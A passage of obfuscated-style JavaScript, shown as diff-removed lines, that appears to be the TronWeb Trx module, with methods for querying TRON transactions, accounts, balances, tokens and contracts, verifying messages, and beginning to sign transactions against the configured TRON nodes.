- _0x37557b ? "number" == typeof _0x3ab84f ? _0x3ab84f >= 0 && _0x3ab84f < _0x37557b.length ? _0x381f6f(null, _0x37557b[_0x3ab84f]) : _0x381f6f("Invalid transaction index provided") : _0x381f6f(null, _0x37557b) : _0x381f6f("Transaction not found in block");
- }).catch(function (_0x385ecf) {
- return _0x381f6f(_0x385ecf);
- });
- }
- }, {
- key: "getTransaction",
- value: function (_0xc1ef20) {
- var _0x479e1c = arguments.length > 1 && undefined !== arguments[1] && arguments[1];
- if (!_0x479e1c) {
- return this.injectPromise(this.getTransaction, _0xc1ef20);
- }
- this.tronWeb.fullNode.request("wallet/gettransactionbyid", {
- value: _0xc1ef20
- }, "post").then(function (_0x25b8ee) {
- if (!Object.keys(_0x25b8ee).length) {
- return _0x479e1c("Transaction not found");
- }
- _0x479e1c(null, _0x25b8ee);
- }).catch(function (_0x52d3b6) {
- return _0x479e1c(_0x52d3b6);
- });
- }
- }, {
- key: "getConfirmedTransaction",
- value: function (_0x17b7b0) {
- var _0x349752 = arguments.length > 1 && undefined !== arguments[1] && arguments[1];
- if (!_0x349752) {
- return this.injectPromise(this.getConfirmedTransaction, _0x17b7b0);
- }
- this.tronWeb.solidityNode.request("walletsolidity/gettransactionbyid", {
- value: _0x17b7b0
- }, "post").then(function (_0x134900) {
- if (!Object.keys(_0x134900).length) {
- return _0x349752("Transaction not found");
- }
- _0x349752(null, _0x134900);
- }).catch(function (_0x375056) {
- return _0x349752(_0x375056);
- });
- }
- }, {
- key: "getUnconfirmedTransactionInfo",
- value: function (_0x43d975) {
- var _0x33837a = arguments.length > 1 && undefined !== arguments[1] && arguments[1];
- return this._getTransactionInfoById(_0x43d975, {
- confirmed: false
- }, _0x33837a);
- }
- }, {
- key: "getTransactionInfo",
- value: function (_0x5b0c4c) {
- var _0x10d78a = arguments.length > 1 && undefined !== arguments[1] && arguments[1];
- return this._getTransactionInfoById(_0x5b0c4c, {
- confirmed: true
- }, _0x10d78a);
- }
- }, {
- key: "_getTransactionInfoById",
- value: function (_0x3b8327, _0xbea961) {
- var _0x308471 = arguments.length > 2 && undefined !== arguments[2] && arguments[2];
- if (!_0x308471) {
- return this.injectPromise(this._getTransactionInfoById, _0x3b8327, _0xbea961);
- }
- this.tronWeb[_0xbea961.confirmed ? "solidityNode" : "fullNode"].request("wallet".concat(_0xbea961.confirmed ? "solidity" : "", "/gettransactioninfobyid"), {
- value: _0x3b8327
- }, "post").then(function (_0x142e30) {
- _0x308471(null, _0x142e30);
- }).catch(function (_0xaf1dbd) {
- return _0x308471(_0xaf1dbd);
- });
- }
- }, {
- key: "getTransactionsToAddress",
- value: function () {
- var _0x556a40 = arguments.length > 0 && undefined !== arguments[0] ? arguments[0] : this.tronWeb.defaultAddress.hex;
- var _0x4e2c26 = arguments.length > 1 && undefined !== arguments[1] ? arguments[1] : 30;
- var _0x380652 = arguments.length > 2 && undefined !== arguments[2] ? arguments[2] : 0;
- var _0x3079aa = arguments.length > 3 && undefined !== arguments[3] && arguments[3];
- _0x1db97c.isFunction(_0x380652) && (_0x3079aa = _0x380652, _0x380652 = 0);
- _0x1db97c.isFunction(_0x4e2c26) && (_0x3079aa = _0x4e2c26, _0x4e2c26 = 30);
- return _0x3079aa ? (_0x556a40 = this.tronWeb.address.toHex(_0x556a40), this.getTransactionsRelated(_0x556a40, "to", _0x4e2c26, _0x380652, _0x3079aa)) : this.injectPromise(this.getTransactionsToAddress, _0x556a40, _0x4e2c26, _0x380652);
- }
- }, {
- key: "getTransactionsFromAddress",
- value: function () {
- var _0x52a96b = arguments.length > 0 && undefined !== arguments[0] ? arguments[0] : this.tronWeb.defaultAddress.hex;
- var _0x562303 = arguments.length > 1 && undefined !== arguments[1] ? arguments[1] : 30;
- var _0x2b5882 = arguments.length > 2 && undefined !== arguments[2] ? arguments[2] : 0;
- var _0x5a9de3 = arguments.length > 3 && undefined !== arguments[3] && arguments[3];
- _0x1db97c.isFunction(_0x2b5882) && (_0x5a9de3 = _0x2b5882, _0x2b5882 = 0);
- _0x1db97c.isFunction(_0x562303) && (_0x5a9de3 = _0x562303, _0x562303 = 30);
- return _0x5a9de3 ? (_0x52a96b = this.tronWeb.address.toHex(_0x52a96b), this.getTransactionsRelated(_0x52a96b, "from", _0x562303, _0x2b5882, _0x5a9de3)) : this.injectPromise(this.getTransactionsFromAddress, _0x52a96b, _0x562303, _0x2b5882);
- }
- }, {
- key: "getTransactionsRelated",
- value: (_0x33084c = _0x203d83(_0x307918().mark(function _0x7ae99c() {
- var _0x50884a;
- var _0x38a463;
- var _0x180ac7;
- var _0x2b1afe;
- var _0x3dc5a7;
- var _0x252002;
- var _0x58b662;
- var _0x276cd2;
- var _0x4dd055;
- var _0x222efe = arguments;
- return _0x307918().wrap(function (_0x7b6d33) {
- for (;;) {
- switch (_0x7b6d33.prev = _0x7b6d33.next) {
- case 0:
- if (_0x50884a = _0x222efe.length > 0 && undefined !== _0x222efe[0] ? _0x222efe[0] : this.tronWeb.defaultAddress.hex, _0x38a463 = _0x222efe.length > 1 && undefined !== _0x222efe[1] ? _0x222efe[1] : "all", _0x180ac7 = _0x222efe.length > 2 && undefined !== _0x222efe[2] ? _0x222efe[2] : 30, _0x2b1afe = _0x222efe.length > 3 && undefined !== _0x222efe[3] ? _0x222efe[3] : 0, _0x3dc5a7 = _0x222efe.length > 4 && undefined !== _0x222efe[4] && _0x222efe[4], _0x1db97c.isFunction(_0x2b1afe) && (_0x3dc5a7 = _0x2b1afe, _0x2b1afe = 0), _0x1db97c.isFunction(_0x180ac7) && (_0x3dc5a7 = _0x180ac7, _0x180ac7 = 30), _0x1db97c.isFunction(_0x38a463) && (_0x3dc5a7 = _0x38a463, _0x38a463 = "all"), _0x1db97c.isFunction(_0x50884a) && (_0x3dc5a7 = _0x50884a, _0x50884a = this.tronWeb.defaultAddress.hex), _0x3dc5a7) {
- _0x7b6d33.next = 11;
- break;
- }
- return _0x7b6d33.abrupt("return", this.injectPromise(this.getTransactionsRelated, _0x50884a, _0x38a463, _0x180ac7, _0x2b1afe));
- case 11:
- if (["to", "from", "all"].includes(_0x38a463)) {
- _0x7b6d33.next = 13;
- break;
- }
- return _0x7b6d33.abrupt("return", _0x3dc5a7("Invalid direction provided: Expected \"to\", \"from\" or \"all\""));
- case 13:
- if ("all" != _0x38a463) {
- _0x7b6d33.next = 27;
- break;
- }
- _0x7b6d33.prev = 14;
- _0x7b6d33.next = 17;
- return Promise.all([this.getTransactionsRelated(_0x50884a, "from", _0x180ac7, _0x2b1afe), this.getTransactionsRelated(_0x50884a, "to", _0x180ac7, _0x2b1afe)]);
- case 17:
- _0x252002 = _0x7b6d33.sent;
- _0x58b662 = _0x19dc48(_0x252002, 2);
- _0x276cd2 = _0x58b662[0];
- _0x4dd055 = _0x58b662[1];
- return _0x7b6d33.abrupt("return", _0x3dc5a7(null, [].concat(_0x4cbd27(_0x276cd2.map(function (_0x33dff3) {
- _0x33dff3.direction = "from";
- return _0x33dff3;
- })), _0x4cbd27(_0x4dd055.map(function (_0x4bf6fd) {
- _0x4bf6fd.direction = "to";
- return _0x4bf6fd;
- }))).sort(function (_0x342090, _0x11b097) {
- return _0x11b097.raw_data.timestamp - _0x342090.raw_data.timestamp;
- })));
- case 24:
- _0x7b6d33.prev = 24;
- _0x7b6d33.t0 = _0x7b6d33.catch(14);
- return _0x7b6d33.abrupt("return", _0x3dc5a7(_0x7b6d33.t0));
- case 27:
- if (this.tronWeb.isAddress(_0x50884a)) {
- _0x7b6d33.next = 29;
- break;
- }
- return _0x7b6d33.abrupt("return", _0x3dc5a7("Invalid address provided"));
- case 29:
- if (!(!_0x1db97c.isInteger(_0x180ac7) || _0x180ac7 < 0 || _0x2b1afe && _0x180ac7 < 1)) {
- _0x7b6d33.next = 31;
- break;
- }
- return _0x7b6d33.abrupt("return", _0x3dc5a7("Invalid limit provided"));
- case 31:
- if (_0x1db97c.isInteger(_0x2b1afe) && !(_0x2b1afe < 0)) {
- _0x7b6d33.next = 33;
- break;
- }
- return _0x7b6d33.abrupt("return", _0x3dc5a7("Invalid offset provided"));
- case 33:
- _0x50884a = this.tronWeb.address.toHex(_0x50884a);
- this.tronWeb.solidityNode.request("walletextension/gettransactions".concat(_0x38a463, "this"), {
- account: {
- address: _0x50884a
- },
- offset: _0x2b1afe,
- limit: _0x180ac7
- }, "post").then(function (_0x350415) {
- var _0x3cae93 = _0x350415.transaction;
- _0x3dc5a7(null, _0x3cae93);
- }).catch(function (_0x416783) {
- return _0x3dc5a7(_0x416783);
- });
- case 35:
- case "end":
- return _0x7b6d33.stop();
- }
- }
- }, _0x7ae99c, this, [[14, 24]]);
- })), function () {
- return _0x33084c.apply(this, arguments);
- })
- }, {
- key: "getAccount",
- value: function () {
- var _0x10154f = arguments.length > 0 && undefined !== arguments[0] ? arguments[0] : this.tronWeb.defaultAddress.hex;
- var _0x342fe5 = arguments.length > 1 && undefined !== arguments[1] && arguments[1];
- _0x1db97c.isFunction(_0x10154f) && (_0x342fe5 = _0x10154f, _0x10154f = this.tronWeb.defaultAddress.hex);
- return _0x342fe5 ? this.tronWeb.isAddress(_0x10154f) ? (_0x10154f = this.tronWeb.address.toHex(_0x10154f), void this.tronWeb.solidityNode.request("walletsolidity/getaccount", {
- address: _0x10154f
- }, "post").then(function (_0x15c744) {
- _0x342fe5(null, _0x15c744);
- }).catch(function (_0x5c347f) {
- return _0x342fe5(_0x5c347f);
- })) : _0x342fe5("Invalid address provided") : this.injectPromise(this.getAccount, _0x10154f);
- }
- }, {
- key: "getAccountById",
- value: function () {
- var _0x9f040c = arguments.length > 0 && undefined !== arguments[0] && arguments[0];
- var _0x4de1fb = arguments.length > 1 && undefined !== arguments[1] && arguments[1];
- if (!_0x4de1fb) {
- return this.injectPromise(this.getAccountById, _0x9f040c);
- }
- this.getAccountInfoById(_0x9f040c, {
- confirmed: true
- }, _0x4de1fb);
- }
- }, {
- key: "getAccountInfoById",
- value: function (_0x328608, _0x8ca434, _0xc14127) {
- this.validator.notValid([{
- name: "accountId",
- type: "hex",
- value: _0x328608
- }, {
- name: "accountId",
- type: "string",
- lte: 32,
- gte: 8,
- value: _0x328608
- }], _0xc14127) || (_0x328608.startsWith("0x") && (_0x328608 = _0x328608.slice(2)), this.tronWeb[_0x8ca434.confirmed ? "solidityNode" : "fullNode"].request("wallet".concat(_0x8ca434.confirmed ? "solidity" : "", "/getaccountbyid"), {
- account_id: _0x328608
- }, "post").then(function (_0x2e12cb) {
- _0xc14127(null, _0x2e12cb);
- }).catch(function (_0x397878) {
- return _0xc14127(_0x397878);
- }));
- }
- }, {
- key: "getBalance",
- value: function () {
- var _0xeab48a = arguments.length > 0 && undefined !== arguments[0] ? arguments[0] : this.tronWeb.defaultAddress.hex;
- var _0x13c0f7 = arguments.length > 1 && undefined !== arguments[1] && arguments[1];
- if (_0x1db97c.isFunction(_0xeab48a) && (_0x13c0f7 = _0xeab48a, _0xeab48a = this.tronWeb.defaultAddress.hex), !_0x13c0f7) {
- return this.injectPromise(this.getBalance, _0xeab48a);
- }
- this.getAccount(_0xeab48a).then(function (_0x46107f) {
- var _0x299cc4 = _0x46107f.balance;
- _0x13c0f7(null, undefined === _0x299cc4 ? 0 : _0x299cc4);
- }).catch(function (_0x271558) {
- return _0x13c0f7(_0x271558);
- });
- }
- }, {
- key: "getUnconfirmedAccount",
- value: function () {
- var _0x58c13a = arguments.length > 0 && undefined !== arguments[0] ? arguments[0] : this.tronWeb.defaultAddress.hex;
- var _0x22bd0a = arguments.length > 1 && undefined !== arguments[1] && arguments[1];
- _0x1db97c.isFunction(_0x58c13a) && (_0x22bd0a = _0x58c13a, _0x58c13a = this.tronWeb.defaultAddress.hex);
- return _0x22bd0a ? this.tronWeb.isAddress(_0x58c13a) ? (_0x58c13a = this.tronWeb.address.toHex(_0x58c13a), void this.tronWeb.fullNode.request("wallet/getaccount", {
- address: _0x58c13a
- }, "post").then(function (_0x107453) {
- _0x22bd0a(null, _0x107453);
- }).catch(function (_0xb6ea1) {
- return _0x22bd0a(_0xb6ea1);
- })) : _0x22bd0a("Invalid address provided") : this.injectPromise(this.getUnconfirmedAccount, _0x58c13a);
- }
- }, {
- key: "getUnconfirmedAccountById",
- value: function (_0x4c4dc9) {
- var _0x53dca7 = arguments.length > 1 && undefined !== arguments[1] && arguments[1];
- if (!_0x53dca7) {
- return this.injectPromise(this.getUnconfirmedAccountById, _0x4c4dc9);
- }
- this.getAccountInfoById(_0x4c4dc9, {
- confirmed: false
- }, _0x53dca7);
- }
- }, {
- key: "getUnconfirmedBalance",
- value: function () {
- var _0x4f3375 = arguments.length > 0 && undefined !== arguments[0] ? arguments[0] : this.tronWeb.defaultAddress.hex;
- var _0x4e8228 = arguments.length > 1 && undefined !== arguments[1] && arguments[1];
- if (_0x1db97c.isFunction(_0x4f3375) && (_0x4e8228 = _0x4f3375, _0x4f3375 = this.tronWeb.defaultAddress.hex), !_0x4e8228) {
- return this.injectPromise(this.getUnconfirmedBalance, _0x4f3375);
- }
- this.getUnconfirmedAccount(_0x4f3375).then(function (_0xfcfcd9) {
- var _0xcfa95f = _0xfcfcd9.balance;
- _0x4e8228(null, undefined === _0xcfa95f ? 0 : _0xcfa95f);
- }).catch(function (_0x4e54fd) {
- return _0x4e8228(_0x4e54fd);
- });
- }
- }, {
- key: "getBandwidth",
- value: function () {
- var _0x1d1fbf = arguments.length > 0 && undefined !== arguments[0] ? arguments[0] : this.tronWeb.defaultAddress.hex;
- var _0xf02227 = arguments.length > 1 && undefined !== arguments[1] && arguments[1];
- _0x1db97c.isFunction(_0x1d1fbf) && (_0xf02227 = _0x1d1fbf, _0x1d1fbf = this.tronWeb.defaultAddress.hex);
- return _0xf02227 ? this.tronWeb.isAddress(_0x1d1fbf) ? (_0x1d1fbf = this.tronWeb.address.toHex(_0x1d1fbf), void this.tronWeb.fullNode.request("wallet/getaccountnet", {
- address: _0x1d1fbf
- }, "post").then(function (_0x201025) {
- var _0x16e5ec = _0x201025.freeNetUsed;
- var _0xf3087b = undefined === _0x16e5ec ? 0 : _0x16e5ec;
- var _0x59ca89 = _0x201025.freeNetLimit;
- var _0x222dbf = undefined === _0x59ca89 ? 0 : _0x59ca89;
- var _0x1d107b = _0x201025.NetUsed;
- var _0x1664b5 = undefined === _0x1d107b ? 0 : _0x1d107b;
- var _0x29cc51 = _0x201025.NetLimit;
- _0xf02227(null, _0x222dbf - _0xf3087b + ((undefined === _0x29cc51 ? 0 : _0x29cc51) - _0x1664b5));
- }).catch(function (_0x30a977) {
- return _0xf02227(_0x30a977);
- })) : _0xf02227("Invalid address provided") : this.injectPromise(this.getBandwidth, _0x1d1fbf);
- }
- }, {
- key: "getTokensIssuedByAddress",
- value: function () {
- var _0xde24c0 = this;
- var _0x28a358 = arguments.length > 0 && undefined !== arguments[0] ? arguments[0] : this.tronWeb.defaultAddress.hex;
- var _0x2b96e2 = arguments.length > 1 && undefined !== arguments[1] && arguments[1];
- _0x1db97c.isFunction(_0x28a358) && (_0x2b96e2 = _0x28a358, _0x28a358 = this.tronWeb.defaultAddress.hex);
- return _0x2b96e2 ? this.tronWeb.isAddress(_0x28a358) ? (_0x28a358 = this.tronWeb.address.toHex(_0x28a358), void this.tronWeb.fullNode.request("wallet/getassetissuebyaccount", {
- address: _0x28a358
- }, "post").then(function (_0x118422) {
- var _0x1d5733 = _0x118422.assetIssue;
- var _0x5b0210 = undefined !== _0x1d5733 && _0x1d5733;
- if (!_0x5b0210) {
- return _0x2b96e2(null, {});
- }
- var _0x267bbf = _0x5b0210.map(function (_0x27fb89) {
- return _0xde24c0._parseToken(_0x27fb89);
- }).reduce(function (_0x3a5e2a, _0x17455b) {
- _0x3a5e2a[_0x17455b.name] = _0x17455b;
- return _0x3a5e2a;
- }, {});
- _0x2b96e2(null, _0x267bbf);
- }).catch(function (_0x57590b) {
- return _0x2b96e2(_0x57590b);
- })) : _0x2b96e2("Invalid address provided") : this.injectPromise(this.getTokensIssuedByAddress, _0x28a358);
- }
- }, {
- key: "getTokenFromID",
- value: function () {
- var _0x53f21d = this;
- var _0x49ea5f = arguments.length > 0 && undefined !== arguments[0] && arguments[0];
- var _0x8cb87c = arguments.length > 1 && undefined !== arguments[1] && arguments[1];
- return _0x8cb87c ? (_0x1db97c.isInteger(_0x49ea5f) && (_0x49ea5f = _0x49ea5f.toString()), _0x1db97c.isString(_0x49ea5f) && _0x49ea5f.length ? void this.tronWeb.fullNode.request("wallet/getassetissuebyname", {
- value: this.tronWeb.fromUtf8(_0x49ea5f)
- }, "post").then(function (_0x3e782c) {
- if (!_0x3e782c.name) {
- return _0x8cb87c("Token does not exist");
- }
- _0x8cb87c(null, _0x53f21d._parseToken(_0x3e782c));
- }).catch(function (_0x48080d) {
- return _0x8cb87c(_0x48080d);
- }) : _0x8cb87c("Invalid token ID provided")) : this.injectPromise(this.getTokenFromID, _0x49ea5f);
- }
- }, {
- key: "listNodes",
- value: function () {
- var _0x4d5ea1 = this;
- var _0x23fee9 = arguments.length > 0 && undefined !== arguments[0] && arguments[0];
- if (!_0x23fee9) {
- return this.injectPromise(this.listNodes);
- }
- this.tronWeb.fullNode.request("wallet/listnodes").then(function (_0x3a6096) {
- var _0x9b237 = _0x3a6096.nodes;
- _0x23fee9(null, (undefined === _0x9b237 ? [] : _0x9b237).map(function (_0x16cf10) {
- var _0x558662 = _0x16cf10.address;
- var _0x1f6211 = _0x558662.host;
- var _0x230ca8 = _0x558662.port;
- return "".concat(_0x4d5ea1.tronWeb.toUtf8(_0x1f6211), ":").concat(_0x230ca8);
- }));
- }).catch(function (_0x11bf4f) {
- return _0x23fee9(_0x11bf4f);
- });
- }
- }, {
- key: "getBlockRange",
- value: function () {
- var _0xf3bc27 = arguments.length > 0 && undefined !== arguments[0] ? arguments[0] : 0;
- var _0x37e6ed = arguments.length > 1 && undefined !== arguments[1] ? arguments[1] : 30;
- var _0x501c04 = arguments.length > 2 && undefined !== arguments[2] && arguments[2];
- _0x1db97c.isFunction(_0x37e6ed) && (_0x501c04 = _0x37e6ed, _0x37e6ed = 30);
- _0x1db97c.isFunction(_0xf3bc27) && (_0x501c04 = _0xf3bc27, _0xf3bc27 = 0);
- return _0x501c04 ? !_0x1db97c.isInteger(_0xf3bc27) || _0xf3bc27 < 0 ? _0x501c04("Invalid start of range provided") : !_0x1db97c.isInteger(_0x37e6ed) || _0x37e6ed < _0xf3bc27 ? _0x501c04("Invalid end of range provided") : _0x37e6ed + 1 - _0xf3bc27 > 100 ? _0x501c04("Invalid range size, which should be no more than 100.") : void this.tronWeb.fullNode.request("wallet/getblockbylimitnext", {
- startNum: parseInt(_0xf3bc27),
- endNum: parseInt(_0x37e6ed) + 1
- }, "post").then(function (_0x194c70) {
- var _0x1c7220 = _0x194c70.block;
- _0x501c04(null, undefined === _0x1c7220 ? [] : _0x1c7220);
- }).catch(function (_0x3dc2b8) {
- return _0x501c04(_0x3dc2b8);
- }) : this.injectPromise(this.getBlockRange, _0xf3bc27, _0x37e6ed);
- }
- }, {
- key: "listSuperRepresentatives",
- value: function () {
- var _0x4ec886 = arguments.length > 0 && undefined !== arguments[0] && arguments[0];
- if (!_0x4ec886) {
- return this.injectPromise(this.listSuperRepresentatives);
- }
- this.tronWeb.fullNode.request("wallet/listwitnesses").then(function (_0x146b64) {
- var _0xe859ea = _0x146b64.witnesses;
- _0x4ec886(null, undefined === _0xe859ea ? [] : _0xe859ea);
- }).catch(function (_0x5a94b7) {
- return _0x4ec886(_0x5a94b7);
- });
- }
- }, {
- key: "listTokens",
- value: function () {
- var _0x1ce7f6 = this;
- var _0x4d1efe = arguments.length > 0 && undefined !== arguments[0] ? arguments[0] : 0;
- var _0x3063b9 = arguments.length > 1 && undefined !== arguments[1] ? arguments[1] : 0;
- var _0x5830db = arguments.length > 2 && undefined !== arguments[2] && arguments[2];
- _0x1db97c.isFunction(_0x3063b9) && (_0x5830db = _0x3063b9, _0x3063b9 = 0);
- _0x1db97c.isFunction(_0x4d1efe) && (_0x5830db = _0x4d1efe, _0x4d1efe = 0);
- return _0x5830db ? !_0x1db97c.isInteger(_0x4d1efe) || _0x4d1efe < 0 || _0x3063b9 && _0x4d1efe < 1 ? _0x5830db("Invalid limit provided") : !_0x1db97c.isInteger(_0x3063b9) || _0x3063b9 < 0 ? _0x5830db("Invalid offset provided") : _0x4d1efe ? void this.tronWeb.fullNode.request("wallet/getpaginatedassetissuelist", {
- offset: parseInt(_0x3063b9),
- limit: parseInt(_0x4d1efe)
- }, "post").then(function (_0x54ef83) {
- var _0x15a755 = _0x54ef83.assetIssue;
- _0x5830db(null, (undefined === _0x15a755 ? [] : _0x15a755).map(function (_0x188ea8) {
- return _0x1ce7f6._parseToken(_0x188ea8);
- }));
- }).catch(function (_0x55bdeb) {
- return _0x5830db(_0x55bdeb);
- }) : this.tronWeb.fullNode.request("wallet/getassetissuelist").then(function (_0x5dcd07) {
- var _0x4b69b8 = _0x5dcd07.assetIssue;
- _0x5830db(null, (undefined === _0x4b69b8 ? [] : _0x4b69b8).map(function (_0x5b6e2f) {
- return _0x1ce7f6._parseToken(_0x5b6e2f);
- }));
- }).catch(function (_0x1d30b6) {
- return _0x5830db(_0x1d30b6);
- }) : this.injectPromise(this.listTokens, _0x4d1efe, _0x3063b9);
- }
- }, {
- key: "timeUntilNextVoteCycle",
- value: function () {
- var _0x38dbd4 = arguments.length > 0 && undefined !== arguments[0] && arguments[0];
- if (!_0x38dbd4) {
- return this.injectPromise(this.timeUntilNextVoteCycle);
- }
- this.tronWeb.fullNode.request("wallet/getnextmaintenancetime").then(function (_0x567ff1) {
- var _0x4dea1d = _0x567ff1.num;
- var _0x48333b = undefined === _0x4dea1d ? -1 : _0x4dea1d;
- if (-1 == _0x48333b) {
- return _0x38dbd4("Failed to get time until next vote cycle");
- }
- _0x38dbd4(null, Math.floor(_0x48333b / 1000));
- }).catch(function (_0x33fbd9) {
- return _0x38dbd4(_0x33fbd9);
- });
- }
- }, {
- key: "getContract",
- value: function (_0x171bc1) {
- var _0x5e0cf9 = this;
- var _0x5be509 = arguments.length > 1 && undefined !== arguments[1] && arguments[1];
- return _0x5be509 ? this.tronWeb.isAddress(_0x171bc1) ? void (this.cache.contracts[_0x171bc1] ? _0x5be509(null, this.cache.contracts[_0x171bc1]) : (_0x171bc1 = this.tronWeb.address.toHex(_0x171bc1), this.tronWeb.fullNode.request("wallet/getcontract", {
- value: _0x171bc1
- }).then(function (_0x5487c4) {
- if (_0x5487c4.Error) {
- return _0x5be509("Contract does not exist");
- }
- _0x5e0cf9.cache.contracts[_0x171bc1] = _0x5487c4;
- _0x5be509(null, _0x5487c4);
- }).catch(function (_0xf97b9e) {
- return _0x5be509(_0xf97b9e);
- }))) : _0x5be509("Invalid contract address provided") : this.injectPromise(this.getContract, _0x171bc1);
- }
- }, {
- key: "ecRecover",
- value: function (_0x35cdbf) {
- return _0x28677e.ecRecover(_0x35cdbf);
- }
- }, {
- key: "verifyMessage",
- value: (_0x24a558 = _0x203d83(_0x307918().mark(function _0x175a41() {
- var _0x4e756a;
- var _0x36b07c;
- var _0x8c670a;
- var _0x1fa641;
- var _0x376c17;
- var _0x4b42dd = arguments;
- return _0x307918().wrap(function (_0x4582fa) {
- for (;;) {
- switch (_0x4582fa.prev = _0x4582fa.next) {
- case 0:
- if (_0x4e756a = _0x4b42dd.length > 0 && undefined !== _0x4b42dd[0] && _0x4b42dd[0], _0x36b07c = _0x4b42dd.length > 1 && undefined !== _0x4b42dd[1] && _0x4b42dd[1], _0x8c670a = _0x4b42dd.length > 2 && undefined !== _0x4b42dd[2] ? _0x4b42dd[2] : this.tronWeb.defaultAddress.base58, _0x1fa641 = !(_0x4b42dd.length > 3 && undefined !== _0x4b42dd[3]) || _0x4b42dd[3], _0x376c17 = _0x4b42dd.length > 4 && undefined !== _0x4b42dd[4] && _0x4b42dd[4], _0x1db97c.isFunction(_0x8c670a) && (_0x376c17 = _0x8c670a, _0x8c670a = this.tronWeb.defaultAddress.base58, _0x1fa641 = true), _0x1db97c.isFunction(_0x1fa641) && (_0x376c17 = _0x1fa641, _0x1fa641 = true), _0x376c17) {
- _0x4582fa.next = 9;
- break;
- }
- return _0x4582fa.abrupt("return", this.injectPromise(this.verifyMessage, _0x4e756a, _0x36b07c, _0x8c670a, _0x1fa641));
- case 9:
- if (_0x1db97c.isHex(_0x4e756a)) {
- _0x4582fa.next = 11;
- break;
- }
- return _0x4582fa.abrupt("return", _0x376c17("Expected hex message input"));
- case 11:
- if (!_0x28677e.verifySignature(_0x4e756a, _0x8c670a, _0x36b07c, _0x1fa641)) {
- _0x4582fa.next = 13;
- break;
- }
- return _0x4582fa.abrupt("return", _0x376c17(null, true));
- case 13:
- _0x376c17("Signature does not match");
- case 14:
- case "end":
- return _0x4582fa.stop();
- }
- }
- }, _0x175a41, this);
- })), function () {
- return _0x24a558.apply(this, arguments);
- })
- }, {
- key: "verifyMessageV2",
- value: function () {
- var _0x36aef7 = arguments.length > 0 && undefined !== arguments[0] && arguments[0];
- var _0x2f1d5a = arguments.length > 1 && undefined !== arguments[1] && arguments[1];
- var _0x208841 = arguments.length > 2 && undefined !== arguments[2] ? arguments[2] : {};
- var _0x3bd266 = arguments.length > 3 && undefined !== arguments[3] && arguments[3];
- if (_0x1db97c.isFunction(_0x208841) && (_0x3bd266 = _0x208841, _0x208841 = {}), !_0x3bd266) {
- return this.injectPromise(this.verifyMessageV2, _0x36aef7, _0x2f1d5a, _0x208841);
- }
- try {
- _0x3bd266(null, _0x28677e.verifyMessageV2(_0x36aef7, _0x2f1d5a));
- } catch (_0x361c35) {
- _0x3bd266(_0x361c35);
- }
- }
- }, {
- key: "verifyTypedData",
- value: function (_0x271171, _0x5770ea, _0x3b7ad5, _0x57856c) {
- var _0x40c0f1 = arguments.length > 4 && undefined !== arguments[4] ? arguments[4] : this.tronWeb.defaultAddress.base58;
- var _0x401016 = arguments.length > 5 && undefined !== arguments[5] && arguments[5];
- _0x1db97c.isFunction(_0x40c0f1) && (_0x401016 = _0x40c0f1, _0x40c0f1 = this.tronWeb.defaultAddress.base58);
- return _0x401016 ? _0x28677e.verifyTypedData(_0x271171, _0x5770ea, _0x3b7ad5, _0x57856c, _0x40c0f1) ? _0x401016(null, true) : void _0x401016("Signature does not match") : this.injectPromise(this.verifyTypedData, _0x271171, _0x5770ea, _0x3b7ad5, _0x57856c, _0x40c0f1);
- }
- }, {
- key: "sign",
- value: (_0x267e60 = _0x203d83(_0x307918().mark(function _0x4b95db() {
- var _0x4ac5f4;
- var _0x3cd355;
- var _0xa975cb;
- var _0x5eef64;
- var _0x159d45;
- var _0x51c204;
- var _0x4854a9 = arguments;
- return _0x307918().wrap(function (_0x2febe9) {
- for (;;) {
- switch (_0x2febe9.prev = _0x2febe9.next) {
- case 0:
- if (_0x4ac5f4 = _0x4854a9.length > 0 && undefined !== _0x4854a9[0] && _0x4854a9[0], _0x3cd355 = _0x4854a9.length > 1 && undefined !== _0x4854a9[1] ? _0x4854a9[1] : this.tronWeb.defaultPrivateKey, _0xa975cb = !(_0x4854a9.length > 2 && undefined !== _0x4854a9[2]) || _0x4854a9[2], _0x5eef64 = _0x4854a9.length > 3 && undefined !== _0x4854a9[3] && _0x4854a9[3], _0x159d45 = _0x4854a9.length > 4 && undefined !== _0x4854a9[4] && _0x4854a9[4], _0x1db97c.isFunction(_0x5eef64) && (_0x159d45 = _0x5eef64, _0x5eef64 = false), _0x1db97c.isFunction(_0xa975cb) && (_0x159d45 = _0xa975cb, _0xa975cb = true, _0x5eef64 = false), _0x1db97c.isFunction(_0x3cd355) && (_0x159d45 = _0x3cd355, _0x3cd355 = this.tronWeb.defaultPrivateKey, _0xa975cb = true, _0x5eef64 = false), _0x159d45) {
- _0x2febe9.next = 10;
- break;
- }
- return _0x2febe9.abrupt("return", this.injectPromise(this.sign, _0x4ac5f4, _0x3cd355, _0xa975cb, _0x5eef64));
- case 10:
- if (!_0x1db97c.isString(_0x4ac5f4)) {
- _0x2febe9.next = 21;
- break;
- }
- if (_0x1db97c.isHex(_0x4ac5f4)) {
- _0x2febe9.next = 13;
- break;
- }
- return _0x2febe9.abrupt("return", _0x159d45("Expected hex message input"));
- case 13:
- _0x2febe9.prev = 13;
- _0x51c204 = _0x28677e.signString(_0x4ac5f4, _0x3cd355, _0xa975cb);
- return _0x2febe9.abrupt("return", _0x159d45(null, _0x51c204));
- case 18:
- _0x2febe9.prev = 18;
- _0x2febe9.t0 = _0x2febe9.catch(13);
- _0x159d45(_0x2febe9.t0);
- case 21:
- if (_0x1db97c.isObject(_0x4ac5f4)) {
- _0x2febe9.next = 23;
- break;
- }
- return _0x2febe9.abrupt("return", _0x159d45("Invalid transaction provided"));
- case 23:
- if (_0x5eef64 || !_0x4ac5f4.signature) {
- _0x2febe9.next = 25;
- break;
- }
- return _0x2febe9.abrupt("return", _0x159d45("Transaction is already signed"));
- case 25:
- if (_0x2febe9.prev = 25, _0x5eef64) {
- _0x2febe9.next = 32;
- break;
- }
- if (this.tronWeb.address.toHex(this.tronWeb.address.fromPrivateKey(_0x3cd355)).toLowerCase() === this.tronWeb.address.toHex(_0x4ac5f4.raw_data.contract[0].parameter.value.owner_address)) {
- _0x2febe9.next = 30;
- break;
- }
- return _0x2febe9.abrupt("return", _0x159d45("Private key does not match address in transaction"));
- case 30:
- if (_0x2fd324(_0x4ac5f4)) {
- _0x2febe9.next = 32;
- break;
- }
- return _0x2febe9.abrupt("return", _0x159d45("Invalid transaction"));
- case 32:
- return _0x2febe9.abrupt("return", _0x159d45(null, _0x1db97c.crypto.signTransaction(_0x3cd355, _0x4ac5f4)));
- case 35:
- _0x2febe9.prev = 35;
